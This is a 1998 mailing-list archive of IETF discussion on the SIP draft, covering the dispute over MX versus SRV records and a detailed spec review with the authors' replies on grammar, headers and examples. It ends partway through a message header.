	by zephyr.isi.edu (8.8.7/8.8.6) id LAA03959
	for confctrl-outgoing; Mon, 28 Sep 1998 11:02:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA03954
	for <confctrl@zephyr.isi.edu>; Mon, 28 Sep 1998 11:01:58 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA29757
	for <confctrl@ISI.EDU>; Mon, 28 Sep 1998 11:01:57 -0700 (PDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA05751;
	Mon, 28 Sep 1998 14:01:50 -0400 (EDT)
Message-ID: <360FCF0E.7D33FC4C@cs.columbia.edu>
Date: Mon, 28 Sep 1998 14:01:50 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5b1 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Eliot Lear <elear@cisco.com>
CC: iesg@ietf.org, confctrl@ISI.EDU, vixie@vix.com
Subject: Re: Last Call: SIP: Session Initiation Protocol to Proposed Standard
References: <199809281150.HAA24510@ietf.org> <360FB3BE.D4D67B9@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eliot Lear wrote:
> 
> I've previously raised this objection with the Author.
> 
> I draw your attention to section 1.4.2 of draft-ietf-mmusic-sip-09.txt.
> 
> SIP makes use of MX records.  SIP has nothing more to do with the EMail
> infrastructure than any other application protocol.  If we need another
> record we should use another record.  Overloading MX records may lead to
> unforeseen oddities with random packets flowing to places not expecting
> them, or even blocking them, causing long delays in call setup.
> 
> SIP (properly IMHO) refers to SRV records, except that I am now given to
> understand that the existing RFC on SRV needs minor fixing that will
> impact SIP.  I personally woulr rather not speak to the SRV problems.
> Perhaps Paul Vixie or Jerry Sharf might wish to elaborate (something
> about underscores?).
> 
> It would be good if SRV could get fixed quick and advanced and SIP
> merely delete references to MX.  In the short term, perhaps use a web
> like solution, such as sip.{domain} and A records.  If MX records are to
> be used in the short term, the document should at the very least
> indicate their impending obsolescence for this purpose.

There was recent discussion (as in, this weekend) on this topic on this
mailing list, with various arguments for and against.

MX was always intended as a stop-gap measure until SRV records are a
realistic alternative. We are currently investigating the support that
SRV enjoys in various common OS, both from a client and server
perspective, to help SIP software authors to support them in their
offerings. Initial indications are that SRV will be supported in NT 5.0
DNS servers (to support LDAP) and is supported in recent version of
bind. They are not supported in resparse-1.3, although I've made the
necessary changes (and others may have independently done the same). The
status of DNS lookup functions in Perl, Tcl and Java is being
investigated; any insight would be most helpful here. (I'll be gathering
related information on the SIP web page.)

As far as I know, only one SIP implementation supports SRV records,
although a second one has promised support.

Given the amount of controversy that it generates compared to its
perceived value, the SIP authors agreed that the most expedient solution
would be the removal of MX from the SIP spec.

A related question is whether, as a short-term measure until SRV is
widely deployed, client authors should given the hint (it clearly can't
be more than that) to try user@sip.domain.com when address
'user@domain.com' is being entered. This is similar to the convention 

I would want to avoid establishing 'user@sip.domain.com' as the
published address since it defeats the point of allowing users to limit
the number of different addresses for different means of communication.

Using A records works in some cases where 'domain.com' is also a valid A
address. However, it suffers some of the same problems identified with
MX records, in that if the mail host moves, it will likely take the
'domain.com' host name with it.

> --
> Eliot Lear
> elear@cisco.com

-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Sep 28 11:14:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA04560
	for confctrl-outgoing; Mon, 28 Sep 1998 11:14:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04554
	for <confctrl@zephyr.isi.edu>; Mon, 28 Sep 1998 11:14:02 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA01116
	for <confctrl@ISI.EDU>; Mon, 28 Sep 1998 11:14:01 -0700 (PDT)
Received: from cisco.com (dhcp-c1-114.cisco.com [171.68.229.114]) by mailman.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/CISCO.SERVER.1.2) with ESMTP id LAA22435; Mon, 28 Sep 1998 11:12:25 -0700 (PDT)
Message-ID: <360FD187.3498D61D@cisco.com>
Date: Mon, 28 Sep 1998 11:12:23 -0700
From: Eliot Lear <elear@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.5b2 [en]C-CISCOIS  (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: iesg@ietf.org, confctrl@ISI.EDU, vixie@vix.com
Subject: Re: Last Call: SIP: Session Initiation Protocol to Proposed Standard
References: <199809281150.HAA24510@ietf.org> <360FB3BE.D4D67B9@cisco.com> <360FCF0E.7D33FC4C@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne's response satisfies my objections, in as much as an
updated draft will reflect those changes.
--
Eliot Lear
elear@cisco.com

From confctrl-owner  Mon Sep 28 11:48:38 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA06402
	for confctrl-outgoing; Mon, 28 Sep 1998 11:48:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA06396
	for <confctrl@zephyr.isi.edu>; Mon, 28 Sep 1998 11:48:36 -0700 (PDT)
Received: from isrv3.pa.vix.com (www.isc.org [204.152.184.101])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04756
	for <confctrl@isi.edu>; Mon, 28 Sep 1998 11:48:35 -0700 (PDT)
Received: from bb.rc.vix.com (bb.rc.vix.com [204.152.187.11]) 
	by isrv3.pa.vix.com (8.9.1/8.9.1) via ESMTP id LAA11279; Mon, 28 Sep 1998 11:47:59 -0700 (PDT)
	env-from (paul@vix.com)
Received: from bb.rc.vix.com (localhost [127.0.0.1]) 
	by bb.rc.vix.com (8.9.1/8.9.1) via ESMTP id LAA17636; Mon, 28 Sep 1998 11:47:59 -0700 (PDT)
	env-from (paul@vix.com)
Message-Id: <199809281847.LAA17636@bb.rc.vix.com>
To: Eliot Lear <elear@cisco.com>
cc: iesg@ietf.org, confctrl@ISI.EDU
Subject: Re: Last Call: SIP: Session Initiation Protocol to Proposed Standard 
In-reply-to: Your message of "Mon, 28 Sep 1998 09:05:18 PDT."
             <360FB3BE.D4D67B9@cisco.com> 
Date: Mon, 28 Sep 1998 11:47:59 -0700
From: Paul A Vixie <paul@vix.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

RFC2052bis was sent to namedroppers during the week of the Chicago IETF.
(I sent it from the WaveLAN area near the bar.)  I don't know how to get
it advanced any quicker -- Microsoft had an objection but dropped it.

From confctrl-owner  Thu Oct  8 07:10:08 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA24442
	for confctrl-outgoing; Thu, 8 Oct 1998 07:10:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24437
	for <confctrl@zephyr.isi.edu>; Thu, 8 Oct 1998 07:10:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA17379
	for <confctrl@ISI.EDU>; Thu, 8 Oct 1998 07:10:03 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu Oct  8 10:09:40 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id KAA00461;
	Thu, 8 Oct 1998 10:09:39 -0400 (EDT)
Message-ID: <361CC6DB.267C7E29@dnrc.bell-labs.com>
Date: Thu, 08 Oct 1998 10:06:19 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: confctrl@ISI.EDU, Vern Paxson <vern@ee.lbl.gov>
Subject: Re: SIP: comments on the spec
References: <360C1A22.C45572E4@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders,

Sorry for the delayed reply.

The text below represents the outcome of discussions among all four
authors of the spec.

Thanks for you careful reading.

Thanks,
Jonathan R.

Anders Kristensen wrote:
> 
> [1.3] In the definition of "Client: An application program that
> establishes connections..."  I'm not sure I know what "establishes
> connections" means here. What about multicast SIP requests, for
> example?

I'm not sure I understand what this means; connection in the context
here is state at the end system, not in the network. Perhaps that the
source of the confusion. To provide some clarification, we can change
the wording to "an application program tham sends SIP requests".

> 
> [2] In the SIP URL grammar (fig 3) 'other-param' is simply *uric.
> Ought the BNF not define other-params to be a semi-colon
> separated list of
> 
>   (token | (token "=" (token | quoted-string)))
> 
> or something like that?

I agree. Seems like a minor change for clarification, as this was our
original intent. Its been fixed.

> 
> As it stands the BNF is ambigous. Other-params can include ';' which
> separates it from other parameters and '?' which separates params from
> headers.  Likewise, header names and values can contain '&' which also
> separates them from each other. The "URI: Generic Syntax" draft can
> get away with defining query as *uric because it doesn't say
> *anything* about the structure of those parts of URLs, but SIP does
> and so must be more precise.

The &, ?, and ; are listed as reserved. These all need to be escaped,
by definition, as indicated in the text above the figure.

> 
> [2] I don't see the point of figure 4. Sure you can encode phone
> numbers (or whatever) into the user field but if it's transparent for
> the purpose of the SIP spec there's no point at all in going into it
> here and it should be left to other specs (as in fact it was in
> earlier drafts).

Would be nice to leave it to other specs, but they are not RFC's. Its
not
"transparent" to SIP though, since a server needs to be able to parse
the request URI. In will need to know what the BNF represenation is of
this part of the request URI.

> 
> [4.2.1] The relationship between session descriptions (SD) and calls
> isn't completely clear to me.  Section 4.2.1 would seem to suggest
> that SDs are a property of calls rather than call legs.
> 
> Typically there'll be a single SD in force per call (ie per Call-Id),
> but given that multiple INVITEs can be received for the same call,
> potentially with different SDs and possibly even in different SD
> languages, shouldn't SDs be a property of a call leg rather than the
> call?
> 
> Suppose, for example, that A, B, and C are in a conference call and
> are connected by a mesh and A wants to "far-side" mute B. It can do
> this by sending an INVITE with an SDP body with a c= field with a zero
> address as described in appendix B. This should cause B to stop
> sending media data to A but it should continue sending to C.
> 
> Maybe this is only really a problem with the call-control extensions
> described in a separate draft, since this allows A to establish the
> leg between B and C in the first place...

There can be multiple legs even in the base spec, but not because of the
way mentioned. Multiple 200 responses can be received for a single
call request, establishing multiple call legs. In that case, this is
right, a session description is per call leg, which is in most cases the
same as the call. 

In any case, section 4.2.1 says nothing to suggest that a SD is a
property of a call rather than a call leg. We can add some text to
clarify the relationship.

> 
> [4.2.1]
> 
>    "For two-party
>    calls, the caller indicates the type of media it is able to receive
>    as well as their parameters such as network destination. A success
>    response indicates in its message body which media the callee wishes
>    to receive."
> 
> This doesn't give the impression that the session description is just
> as much about conveying what one can *send* as it is about what can be
> received. This same vagueness pops up again in section 15.3:
> 
>    "Note that Watson's list of
>    codecs may or may not be a subset of the one offered by Bell, as each
>    party indicates the data types it is willing to receive."
> 
> ... and send.

I don't think you can indicate both with SDP, and only the receive
capabilities are important for the session. However, other session
description formats may be able to express send capabilities. SIP does
not restrict this in any way. Text will be added to clarify this.


> 
> [4.2.3] The OPTIONS request is used to ask the server about its
> capabilities. The server can indicate
> 
>   - media it understands
>   - how it would have responded to the corresponding INVITE
>   - the valid methods for the resource (Allow header)
> 
> It would be useful if the server could also tell the client which
> extensions it knows about. It could do this using a "Supported" header
> field (like Unsupported with the sign reversed).
> 
> It could be argued that this is a security risk since it reveals
> information, but
> 
>   - the server can just choose NOT to tell about certain extensions
>   - the client can get info about specific extensions anyway by
>     including a Required header in the request, and
>   - the server can require authentication before giving away this
>     info.
> 
> If this use of a Supported header is deemed a good idea example 15.8
> should be changed to illustrate it.

I do think its a good idea, but I'd rather delay this until draft
standard. I think a Supported header would be good in requests as well,
to allow for server feature extensions that a client must understand.
But, these are a big change, and I would rather delay something like
this to draft once we have had more experience with it. 


> 
> [4.2.6] Register
> 
> Registrations are sensitive to request reordering. If I register for
> one location and then (fairly rapidly) again for another location they
> might be received out-of-order. Since the two requests belong to
> seperate calls (or rather no call at all) they would appear to get
> processed out-of-order. Yes? No?
> 
> It might be useful to be able to say that a REGISTER request takes
> effect from some specified point in the future. Say I leave my office
> and know I will be reachable at a friends number half an hour later.
> This is just an idea. It's probably better to keep the registration
> support in SIP minimal, especially since it's on the fringe of what
> SIP is really about.

There are ways to handle out of order registrations using combinations
of CSeq, Call-ID, Date fields, etc., but these quickly become
extremely complex. The somewhat implied solution in the specification
(which we will clarify), is that a server processes the registrations
in the order they are received. If a client wants to avoid ordering
problems, it should wait for the previous registrations response (200
OK) before proceeding with the next.


> 
> [6] "Proxies MUST NOT reorder or otherwise modify header fields
> other than by adding a new Via or other hop-by-hop field."
> 
>  - and fix up Via fields with 'received' info as described in 6.40.1.

We'll fix.

> 
> [6.16] BNF for Content-Type has extraneous "(":
>         Content-Type    =    ( "Content-Type" ":" media-type

Fixed.

> 
> [6.30] Require BNF syntax:
>         Require = "Require" ":" 1#option-tag
>   Problem is option-tag is *uric and the uric character class includes
> commas. Hence something like "Require: a.b.c,x.y.z" is ambigous. This
> is easily fixed by defining option-tag as being a token.

Comma is a reserved character in the uric definition, and thus must be
escaped.

> 
> [6.37] BNF syntax broken - should be like From BNF:
> 
>   To = ( "To" | "t" ) ":" ( name-addr | addr-spec ) *( ";" addr-params )

Will fix.

> 
> [6.37] Tag param in From, To fields.
> 
>   "It MUST be placed in the To field of the
>    response by each instance when there is a possibility that the
>    request was forked at an intermediate proxy. This, in general, means
>    that the tag MUST be inserted when the URL in the To does not refer
>    to a fully qualified hostname."
> 
> Meaning, I guess, that when the host part of the To URL is a domain
> name, it has an A RR associated with it.  This is, however, not a very
> good criteria as many domains (hp.com being one) have A records
> associated with them to make URLs like http://hp.com/ work.  Hence
> doing a single A DNS lookup won't work.
> 
> Section 11.2 more precisely says that a UAS MUST add the tag whenever
> the fqdn is different from it's own fqdn. This can still fail for
> shared machines (coming into fashion again - maybe) where the same
> user can be logged in more than once.

We've changed the spec to indicate that a tag MUST be inserted when
there is more than one Via field in the received request. This is
unambiguous and easy to use, at the expense of being slightly
conservative.



> 
> [6.40.3] Via
> 
> If the request was sent using a TCP connection which was closed before
> the response was received, it is not necessarily possible to connect
> to the address indicated by the 'sent-by' Via parameter as prescribed
> by step 4. This is the case when the client did an active open as the
> Via field would contain some random port number.  Maybe a solution
> would be to require UACs using TCP to include a Contact header with
> the address of the TCP SIP server, and then change the rules for
> response processing to accommodate this situation.

No. The whole idea is that you're supposed to put this TCP SIP server
port in the Via field, not the random port. With TCP, if the
connection is still open, responses are sent as normal to the source
port of the request. Only when the connection is closed, and a
response comes and needs to be forwarded upstream, a connection is
opened from the server to the port listed in the Via field.

> 
> [9] "Thus, the header in section 15.2 could also be written:..."
> Well, yes, but it would be a different header. You have changed not
> only the field names but also the values.

Should read "Thus, the message in section ....". Will be fixed.

> 
> More importantly, what does the following statement mean
> 
>    "These short forms are NOT abbreviations, they
>    are field names. No other header field abbreviations are allowed."
> 
> This is self-contradicting. First they are NOT abbreviations and then
> no OTHER abbreviations are allowed.
> 
> Anyway, how are they NOT abbreviations. There is no separate
> definition for the "f" header field, for example. It's just a short
> form for "From". That's usually known as an abbreviation.  If you just
> mean that proxies are not allowed to substitute one for the other
> (which is stated below) it should just say that.

Will fix.

> 
> [11.3]
>    "The UAC also notes the value of the To and From
>    header fields in each response. For each call leg, the To header
>    field becomes the remote address, and the From header field becomes
>    the local address."
> 
> Won't the From in the response always be that of the INVITE as sent by
> the UAC? Is the UAS allowed to change it in it's response?

Yes; its just for convenience of explanation. No, they can't change.

> 
> [15.2.1]
>   "... from the host 131.215.131.131." I guess this should read
> "csvax.cs.caltech.edu", which, in fact a DNS lookup reveals that it is
> currently mapped to, but the correctness of the spec should obviously
> not depend on this.

Will change to read "csvax...".

> 
> Also, two sentences later the IP addr 128.16.64.19 is mentioned which
> also is nowhere in the example.

Will change to "north.isi...".

> 
> In this and many other examples throughout the spec the host part of
> the Call-Id is different from the host part of the first Via header. I
> realize that the client is free to choose whatever fqdn it likes but
> wouldn't Call-Id's usually be constructed using the domain name of the
> local host?

Its not mandatory, I don't think, to even use the fqdn. As long as its
unique, that is sufficient.

> 
> [15.2.2]
> Last message (C->S: ACK...): why is this sent to the multicast address
> (maddr=...). Shouldn't it be point-to-point to jove.cs.caltech.edu ?

Probably the maddr field should be removed.

> 
> [15.3] "Since the two sides have agreed on the set of media, Watson
> confirms the call without enclosing another session description:"
> 
> That would be Bell confirming the call, not Watson.

yes. Will fix.

> 
> [15.3] In the first message (C->S: INVITE): how can the three IP
> dotted-decimal addresses all be different?  I would have thought that
> for a two-party call the IP addr in the SDP origin field would equal
> the address given in the SDP connection field, which would also be the
> address of the first Via SIP header. Of course the caller can be
> multihomed, but the example seems slightly far-fetched or at least
> atypical (?)

Will fix.

> 
> [15.5]
> "Watson's user agent sends the invitation..."
> Nope. It's good ol' Bell again.

Fine. Will fix.

> 
> [15.5]
>   P->H: INVITE
>   H->P: 404 Not Found
>   P->H: ACK this gives a tag param in the To field - this should be the
> same as that given by H in the response.

Yes.

> 
> [15.5]
>   C->X: ACK sip:watson@x.bell-tel.com SIP/2.0
> should be
>   C->X: ACK sip:t.watson@x.bell-tel.com SIP/2.0
> as this is the addr given in the Contact field of the X->P: 200 OK
> response. (yes, I read this pretty carefully :-))

Fine.

> 
> [15.8]
>   "the original request specified 256 kb/s total"
>   "The original request specified GSM audio, H.261 video, and WB
>    whiteboard"
>   "The response also states that multicast is not available"
> 
> Where does this wealth of information come from exactly?

Its not present, just an example of what might have been in a request to
create this response.

> 
> [Appendix C]
>   Why has the HTTP 'tspecials' character class been renamed
> 'separators'? It's not that that's a particularly brilliant name - it
> just seems silly changing it without a good reason.

Actually, *HTTP* changed that "without a good reason" :-) See
draft-ietf-http-v11-spec-rev-05.txt

tspecials and separators are equivalent in both RFC 2068 and the
HTTP/1.1 revision, just the name changed. Given that the revision will
supersede RFC 2068, it seems to make sense to use the new definition.
Not sure if a note is needed here. Hasn't been in the HTTP/1.1 revision
drafts since -03. Somewhere in draft-ietf-http-v11-spec-rev-03.txt it
says:

"Renamed tspecials BNF production to separators to avoid confusion with
  tspecials in RFC 2045. (Section 2.2)." (RFC 2045 is MIME message
bodies.)

> 
> [Appendix C]
>   The BNF for 'comment' includes (unlike the HTTP def) a quoted-pair
> thingy. This doesn't seem to be defined anywhere.

Will remove.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Oct 14 05:29:42 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA21808
	for confctrl-outgoing; Wed, 14 Oct 1998 05:29:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA21803
	for <confctrl@zephyr.isi.edu>; Wed, 14 Oct 1998 05:29:40 -0700 (PDT)
Received: from hplb.hpl.hp.com (hplb.hpl.hp.com [192.6.10.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA05320
	for <confctrl@ISI.EDU>; Wed, 14 Oct 1998 05:29:38 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by hplb.hpl.hp.com (8.8.6 (PHNE_14041)/8.8.6 HPLabs Bristol Relay) with ESMTP id NAA05263;
	Wed, 14 Oct 1998 13:29:10 +0100 (BST)
Received: from hplb.hpl.hp.com (kristensen-a-3.hpl.hp.com) by otter.hpl.hp.com with ESMTP
	(1.37.109.16/15.6+ISC) id AA010618126; Wed, 14 Oct 1998 13:28:46 +0100
Message-Id: <362499D4.FCC65E@hplb.hpl.hp.com>
Date: Wed, 14 Oct 1998 13:32:20 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: Hewlett-Packard Laboratories, Bristol
X-Mailer: Mozilla 4.5b2 [en] (WinNT; I)
X-Accept-Language: en
Mime-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Cc: confctrl@ISI.EDU, Vern Paxson <vern@ee.lbl.gov>
Subject: Re: SIP: comments on the spec
References: <360C1A22.C45572E4@hplb.hpl.hp.com> <361CC6DB.267C7E29@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Jonathan and everyone else,

> 
> Anders,
> 
> Sorry for the delayed reply.
> 
> The text below represents the outcome of discussions among all four
> authors of the spec.
> 
> Thanks for you careful reading.

My pleasure.

Thanks for the response. Below I comment on just those items which are
still not completely resolved (to me at least).

Anders


Jonathan Rosenberg wrote:
> 
> Anders Kristensen wrote:
> >
> > [1.3] In the definition of "Client: An application program that
> > establishes connections..."  I'm not sure I know what "establishes
> > connections" means here. What about multicast SIP requests, for
> > example?
> 
> I'm not sure I understand what this means; connection in the context
> here is state at the end system, not in the network. Perhaps that the
> source of the confusion. To provide some clarification, we can change
> the wording to "an application program tham sends SIP requests".

As it stands the text suggests that first the connection is established
and then SIP messages are exchanged, not that the connection is defined
by the messages exchanged, so yeah, I think some re-phrasing is called
for.

> 
> > As it stands the BNF is ambigous. Other-params can include ';' which
> > separates it from other parameters and '?' which separates params from
> > headers.  Likewise, header names and values can contain '&' which also
> > separates them from each other. The "URI: Generic Syntax" draft can
> > get away with defining query as *uric because it doesn't say
> > *anything* about the structure of those parts of URLs, but SIP does
> > and so must be more precise.
> 
> The &, ?, and ; are listed as reserved. These all need to be escaped,
> by definition, as indicated in the text above the figure.

Right. I think that ideally the grammer shouldn't allow characters to
occur in places of SIP URLs where they are in fact not allowed, but in
the interest of keeping the spec readable it might be preferable to keep
it as is with the additional constraints outside the grammar.

> 
> >
> > [2] I don't see the point of figure 4. Sure you can encode phone
> > numbers (or whatever) into the user field but if it's transparent for
> > the purpose of the SIP spec there's no point at all in going into it
> > here and it should be left to other specs (as in fact it was in
> > earlier drafts).
> 
> Would be nice to leave it to other specs, but they are not RFC's. Its
> not
> "transparent" to SIP though, since a server needs to be able to parse
> the request URI. In will need to know what the BNF represenation is of
> this part of the request URI.

A server needs to be able to figure out which string of characters make
up the 'user' field, but it doesn't need to be aware of whatever
structure is imposed on this field by, say, a telephony gateway server.
As far as I can tell the only entities that routes SIP requests based on
the 'user' field are telephony gateways. They will need to know the
syntax and semantics of this field of course, but that's a different
matter.  So what I'm musing about here is that a non-telephony gateway
SIP entity just needs to be able to decide what part of a SIP URI makes
up the contents of the 'user' field, and that this is satisfied without
fig. 4, and hence it shouldn't be there.

> 
> >
> > [4.2.1] The relationship between session descriptions (SD) and calls
> > isn't completely clear to me.  Section 4.2.1 would seem to suggest
> > that SDs are a property of calls rather than call legs.
> >
> > Typically there'll be a single SD in force per call (ie per Call-Id),
> > but given that multiple INVITEs can be received for the same call,
> > potentially with different SDs and possibly even in different SD
> > languages, shouldn't SDs be a property of a call leg rather than the
> > call?
> >
> > Suppose, for example, that A, B, and C are in a conference call and
> > are connected by a mesh and A wants to "far-side" mute B. It can do
> > this by sending an INVITE with an SDP body with a c= field with a zero
> > address as described in appendix B. This should cause B to stop
> > sending media data to A but it should continue sending to C.
> >
> > Maybe this is only really a problem with the call-control extensions
> > described in a separate draft, since this allows A to establish the
> > leg between B and C in the first place...
> 
> There can be multiple legs even in the base spec, but not because of the
> way mentioned. Multiple 200 responses can be received for a single
> call request, establishing multiple call legs. In that case, this is
> right, a session description is per call leg, which is in most cases the
> same as the call.
> 
> In any case, section 4.2.1 says nothing to suggest that a SD is a
> property of a call rather than a call leg. We can add some text to
> clarify the relationship.
> 

I remember vaguely some problem with this but I can't think of it right
now. Maybe I'll get back to you on that one ;-)

> >
> > [4.2.1]
> >
> >    "For two-party
> >    calls, the caller indicates the type of media it is able to receive
> >    as well as their parameters such as network destination. A success
> >    response indicates in its message body which media the callee wishes
> >    to receive."
> >
> > This doesn't give the impression that the session description is just
> > as much about conveying what one can *send* as it is about what can be
> > received. This same vagueness pops up again in section 15.3:
> >
> >    "Note that Watson's list of
> >    codecs may or may not be a subset of the one offered by Bell, as each
> >    party indicates the data types it is willing to receive."
> >
> > ... and send.
> 
> I don't think you can indicate both with SDP, and only the receive
> capabilities are important for the session. However, other session
> description formats may be able to express send capabilities. SIP does
> not restrict this in any way. Text will be added to clarify this.
> 

That's not what appendix B (Usage of SDP) says:

   "It is assumed that if caller or callee include a particular media
   type, they want to both send and receive media data. If the callee
   does not want to send a particular media type, it marks the media
   entry as recvonly. If the callee does not want to receive a   
particular media type, it may mark it as
   sendonly. If the callee wants to neither receive nor send a
   particular media type,
   it sets the port to zero. (RTCP ports are not needed in this case.)

   "The caller includes all media types that it is willing to send so
   that the receiver can provide matching media descriptions."

(BTW the first paragraph is bogus in the ascii version of the spec.)

But OK so SIP entities use SDP bodies to indicate receive capabilities.

This means that the comment in section 4.2.2 (Ack) saying:

   The ACK request MAY contain a message body with the final session
   description to be used by the callee. If the ACK message body is
   empty, the callee uses the session description in the INVITE request.

doesn't make much sense to me. Basically the UAC says what it's able to
receive in the INVITE req and the callee gets a chance to complain about
that in its response (606 Not Acceptable) at the same time at which it
says what *it* is willing to receive. The caller can then complain about
that (by sending a BYE req) but why would it change its mind at this
point about what it is capable of receiving?

There are two cases where I believe the SDP body indicates something
other than the senders receive capabilities.

One is the case of the UAS responding with a 606 status code. Example
15.8 indicates that the SDP body in this case indicates the media types
etc. which the sender of the 606 is capable or willing to generate. BTW
this use of the message body should probably be listed in section 8.1
together with the other uses.

The other case is the meaning of the SDP in invitations to multicast
conferences. There, the SDP body really does indicate what the callee
must be able to receive and/or what it may generate, depending on the
presence of recvonly/sendonly SDP parameters.

> >
> > [6.40.3] Via
> >
> > If the request was sent using a TCP connection which was closed before
> > the response was received, it is not necessarily possible to connect
> > to the address indicated by the 'sent-by' Via parameter as prescribed
> > by step 4. This is the case when the client did an active open as the
> > Via field would contain some random port number.  Maybe a solution
> > would be to require UACs using TCP to include a Contact header with
> > the address of the TCP SIP server, and then change the rules for
> > response processing to accommodate this situation.
> 
> No. The whole idea is that you're supposed to put this TCP SIP server
> port in the Via field, not the random port. With TCP, if the
> connection is still open, responses are sent as normal to the source
> port of the request. Only when the connection is closed, and a
> response comes and needs to be forwarded upstream, a connection is
> opened from the server to the port listed in the Via field.
> 

OK, I was thinking of the case where a client C connects to a stateless
proxy server using TCP and, say, local port 7777. The question was how
will the proxy figure out which TCP connection to use for the incoming
response, but if it maps the pair {C, 5060} rather than {C, 7777} to the
TCP connection there's no problem.

[15.2.1]
> > In this and many other examples throughout the spec the host part of
> > the Call-Id is different from the host part of the first Via header. I
> > realize that the client is free to choose whatever fqdn it likes but
> > wouldn't Call-Id's usually be constructed using the domain name of the
> > local host?
> 
> Its not mandatory, I don't think, to even use the fqdn. As long as its
> unique, that is sufficient.

Right, but in the interest of making the examples as straight-forward
and realistic as possible maybe they should use the local host name.


-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Wed Oct 14 07:37:49 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA25738
	for confctrl-outgoing; Wed, 14 Oct 1998 07:37:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25733
	for <confctrl@zephyr.isi.edu>; Wed, 14 Oct 1998 07:37:47 -0700 (PDT)
Received: from hplb.hpl.hp.com (hplb.hpl.hp.com [192.6.10.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA10101
	for <confctrl@isi.edu>; Wed, 14 Oct 1998 07:37:43 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by hplb.hpl.hp.com (8.8.6 (PHNE_14041)/8.8.6 HPLabs Bristol Relay) with ESMTP id PAA09116;
	Wed, 14 Oct 1998 15:37:23 +0100 (BST)
Received: from hplb.hpl.hp.com (kristensen-a-3.hpl.hp.com) by otter.hpl.hp.com with ESMTP
